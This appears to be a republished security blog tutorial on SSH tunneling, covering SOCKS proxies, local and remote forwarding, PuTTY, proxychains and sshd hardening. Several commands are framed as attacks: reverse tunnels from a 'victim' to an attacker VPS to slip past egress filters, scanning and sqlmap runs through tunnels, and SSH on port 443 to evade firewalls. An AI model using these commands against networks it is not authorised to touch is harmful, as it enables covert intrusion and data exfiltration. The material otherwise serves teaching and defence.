Mastering SSH Tunneling: The Ultimate Red Team Guide to Bypassing Firewalls and Securing Traffic + Video

By /

Listen to this Post

Featured Image

Introduction:

SSH tunneling (or SSH port forwarding) creates an encrypted tunnel between a client and a server, allowing you to securely route network traffic, access internal services, and evade firewall restrictions. This technique is a cornerstone of ethical hacking, penetration testing, and secure remote administration, transforming a simple SSH connection into a versatile tool for both offensive and defensive cybersecurity operations.

Learning Objectives:

  • Implement dynamic, local, and remote SSH tunneling using Linux and Windows tools.
  • Configure PuTTY, SOCKS5 proxies, and tsocks/proxychains to route applications through encrypted tunnels.
  • Bypass firewall restrictions and harden SSH tunnel configurations for red team engagements.

You Should Know:

  1. Dynamic SSH Tunneling – Creating a SOCKS5 Proxy on the Fly

Dynamic tunneling turns your SSH client into a SOCKS5 proxy server, allowing any application configured to use that proxy to route traffic through the encrypted SSH connection. This is ideal for web browsing, scanning, or using tools like Nmap through a remote network.

Step‑by‑step guide (Linux/macOS):

 Create a dynamic SOCKS5 tunnel on local port 1080
ssh -D 1080 [email protected]

Verify the tunnel is listening
netstat -tuln | grep 1080

Configure Firefox to use the proxy:

  • Go to Settings → Network Settings → Manual proxy configuration.
  • SOCKS Host: 127.0.0.1, Port: 1080, select SOCKS v5.
  • Set `proxy.socks_remote_dns` to `true` in `about:config` to resolve DNS through the tunnel.

Using tsocks or proxychains (Linux):

 Install proxychains
sudo apt install proxychains4

Edit /etc/proxychains4.conf – add at the end:
socks5 127.0.0.1 1080

Run any tool through the tunnel
proxychains4 nmap -sT -Pn 192.168.1.0/24
proxychains4 curl http://internal-website.local

Windows with PuTTY:

  • Open PuTTY, enter remote server IP/port.
  • Go to Connection → SSH → Tunnels.
  • Source port: 1080, select Dynamic, click Add.
  • Open connection. The SOCKS5 proxy is now available at 127.0.0.1:1080.
  1. Local SSH Tunneling – Forwarding Remote Ports to Your Local Machine

Local tunneling forwards a port from the remote server (or a server reachable via the SSH server) to your local machine. Use this to access internal databases, web dashboards, or RDP services that are not directly exposed.

Step‑by‑step guide:

 Syntax: ssh -L local_port:target_host:target_port user@ssh_server
 Example: Access a remote internal web server (192.168.1.100:80) via local port 8080
ssh -L 8080:192.168.1.100:80 [email protected]

Multiple local forwards can be chained:
ssh -L 8080:internal-web:80 -L 3306:db.internal:3306 [email protected]

Verification:

 On your local machine, open a browser to http://localhost:8080
 Or test with curl:
curl http://localhost:8080

For RDP (Windows Remote Desktop) forwarding:
ssh -L 3389:target-pc:3389 [email protected]
 Then connect to localhost:3389 using mstsc.exe

Windows (PowerShell/CMD using built-in OpenSSH):

ssh -L 8443:intranet.corp.local:443 [email protected]
  1. Remote SSH Tunneling – Exposing Local Services to a Remote Server

Remote tunneling does the opposite: it forwards a port from your local machine to the remote SSH server, allowing others (or the remote server itself) to access a service running on your local network. This is a common technique for reverse shells, sharing a local development server, or bypassing NAT.

Step‑by‑step guide:

 Syntax: ssh -R remote_port:local_host:local_port user@ssh_server
 Example: Expose local web server (localhost:3000) on remote server's port 8080
ssh -R 8080:localhost:3000 [email protected]

To allow other hosts on the remote network to connect, edit /etc/ssh/sshd_config on the server:
GatewayPorts yes
 Then restart SSH: sudo systemctl restart sshd

Now remote users can connect to remote-server.com:8080 to reach your local app

Use case – reverse shell with remote tunneling:

 On attacker's machine (publicly accessible):
ssh -R 2222:localhost:22 [email protected]

On attacker VPS, connect back to the victim's SSH:
ssh -p 2222 victim-user@localhost

Windows PuTTY remote tunnel:

  • Connection → SSH → Tunnels.
  • Source port: 8080, Destination: localhost:3000, select Remote, click Add.
  1. Configuring PuTTY for SSH Tunneling on Windows (Complete Walkthrough)

PuTTY is the de facto SSH client on Windows, offering a graphical interface for all tunneling types.

Step‑by‑step:

  1. Download PuTTY from putty.org (no installation required).
  2. Launch putty.exe. Under Session, enter your remote server’s IP/hostname and port (default 22).

3. Navigate to Connection → SSH → Tunnels.

  • Dynamic: Enter source port (e.g., 1080), select Dynamic, click Add. You’ll see `D1080` in the forwarded ports list.
  • Local: Enter source port (e.g., 8888), destination (e.g., internal-server:80), select Local, click Add. See L8888 internal-server:80.
  • Remote: Enter source port (e.g., 8080), destination (e.g., localhost:3000), select Remote, click Add. See R8080 localhost:3000.
  1. Go back to Session, save the configuration (e.g., “Tunnel to Corp”), and click Open.
  2. Authenticate with username/password or SSH key. The tunnel is active for the session duration.

Persistent tunneling with Plink (command-line PuTTY):

plink.exe -D 1080 -N [email protected]
plink.exe -L 8443:internal-web:443 -N [email protected]
  1. Routing Any Application Through SSH Using proxychains and tsocks

Many penetration testing tools (Nmap, Metasploit, sqlmap) don’t natively support SOCKS proxies. Proxychains forces any TCP application through a proxy chain.

Step‑by‑step configuration (Kali Linux):

 Install proxychains4
sudo apt update && sudo apt install proxychains4 -y

Edit configuration
sudo nano /etc/proxychains4.conf

Key settings in `proxychains4.conf`:

 Uncomment 'dynamic_chain' or 'strict_chain' (dynamic_chain is more fault-tolerant)
dynamic_chain

Comment out 'proxy_dns' if scanning internal IPs to avoid DNS leaks
 proxy_dns

Add your SOCKS5 proxy at the end of the [bash] section
[bash]
socks5 127.0.0.1 1080

Usage examples:

 Run Nmap TCP scan through the SSH tunnel
proxychains4 nmap -sT -Pn -p 80,443 10.0.0.0/24

Launch Metasploit console
proxychains4 msfconsole

Use curl to access internal API
proxychains4 curl -I http://internal-api.company.local

SQLmap with proxychains
proxychains4 sqlmap -u "http://internal-target/login.php" --data="user=1&pass=1"

Tsocks (older but lighter):

sudo apt install tsocks
sudo nano /etc/tsocks.conf
 Add:
server = 127.0.0.1
server_port = 1080
server_type = 5

tsocks nmap -sT 192.168.1.0/24

6. Bypassing Firewalls and IDS/IPS with SSH Tunneling

Firewalls often block non‑standard ports, but SSH (port 22/tcp) is frequently allowed. You can also run SSH on port 443/tcp to mimic HTTPS traffic.

Step‑by‑step evasion techniques:

 Run SSH server on port 443 (requires root)
sudo systemctl stop sshd
sudo nano /etc/ssh/sshd_config
 Change Port 22 to Port 443
sudo systemctl start sshd

Connect using non-standard port
ssh -p 443 [email protected]

Obfuscate SSH traffic with 'obfsproxy' or 'stunnel' (not covered in depth here)

Use SSH as a simple VPN (Layer 3 tunneling with ssh -w):

 On server (requires root and tunnel interface)
ip link set tun5 up
ssh -w 5:5 user@client-ip

Then assign IP addresses to tun5 on both ends

Bypass a restrictive outbound firewall using reverse remote tunneling:

 From inside the restricted network (victim) to your external VPS
ssh -R 2222:localhost:22 -R 8080:localhost:80 [email protected]

On the VPS, access the internal web server at localhost:8080
 Or SSH back into the victim machine via localhost:2222

7. Security Hardening for SSH Tunnels in Production

When deploying SSH tunnels for red team operations or legitimate remote access, misconfigurations can expose internal networks. Follow these hardening steps.

Step‑by‑step hardening (on the SSH server – `/etc/ssh/sshd_config`):

 Disable root login
PermitRootLogin no

Use key-based authentication only
PasswordAuthentication no
PubkeyAuthentication yes

Restrict users who can tunnel
AllowUsers [email protected]. [email protected]

Limit port forwarding capabilities
 Allow only local forwarding (disable remote and dynamic if not needed)
AllowTcpForwarding local
 To disable all forwarding:
 AllowTcpForwarding no

Use a dedicated tunnel-only user with no shell
sudo useradd -m -s /bin/false tunneluser
sudo mkdir /home/tunneluser/.ssh
sudo chmod 700 /home/tunneluser/.ssh
 Add public key to authorized_keys

Client‑side best practices:

 Use compression to improve performance over slow links
ssh -C -D 1080 user@remote

Keep connection alive to prevent idle disconnects
ssh -o ServerAliveInterval=60 -D 1080 user@remote

Run tunnel in background with -N (no remote command) and -f (background)
ssh -fN -D 1080 user@remote

Monitoring tunnel usage:

 On server, list active SSH connections and forwarded ports
sudo ss -tulpn | grep ssh
sudo lsof -i -n | grep ssh

Log all forwarded connections (add to sshd_config)
LogLevel VERBOSE
 Then check /var/log/auth.log or /var/log/secure

What Undercode Say:

  • Key Takeaway 1: SSH tunneling is not just for sysadmins – it’s a core red team skill for pivoting, data exfiltration, and bypassing network segmentation. Dynamic tunneling with SOCKS5 and proxychains turns any Linux box into a stealthy proxy.
  • Key Takeaway 2: Misconfigured SSH servers are a goldmine for attackers. Always restrict forwarding to specific users, disable unused tunnel types, and monitor active connections. On the offensive side, remote tunneling (-R) is often more powerful than local forwarding for evading egress filters.

Analysis: The post from Shikha Yadav on LinkedIn highlights a critical gap in many cybersecurity training programs: hands-on SSH tunneling. While most penetration testers know ssh -L, few master dynamic and remote tunneling in real-world scenarios. Combining PuTTY on Windows with tsocks/proxychains on Kali creates a cross-platform arsenal. The most overlooked technique is using SSH as a lightweight VPN (-w), which can replace expensive commercial solutions for lab environments. However, defenders must audit `AllowTcpForwarding` settings – a single `GatewayPorts yes` can turn an internal server into an open proxy. As zero‑trust networks rise, SSH tunneling remains a double‑edged sword: essential for secure remote work, yet a preferred vector for attackers to blend in with legitimate traffic.

Prediction:

Within the next 18 months, AI‑powered network detection systems will begin flagging anomalous SSH tunneling patterns – such as long‑lived connections with high data volume or non‑interactive sessions. Red teams will respond by adopting short‑lived, jittered tunnels and combining SSH with protocol obfuscation (e.g., using SSH over WebSocket or HTTPS). Meanwhile, cloud providers (AWS, Azure) will introduce native “SSH proxy” services with built‑in logging and rate limiting, reducing the need for manual tunnel configurations. For blue teams, expect automated tools that parse SSH `VERBOSE` logs to reconstruct forwarded connections in real time, making covert pivoting significantly harder. The arms race between stealthy SSH tunneling and advanced detection is just beginning.

▶️ Related Video (80% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Shikhhayadav Comprehensive – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: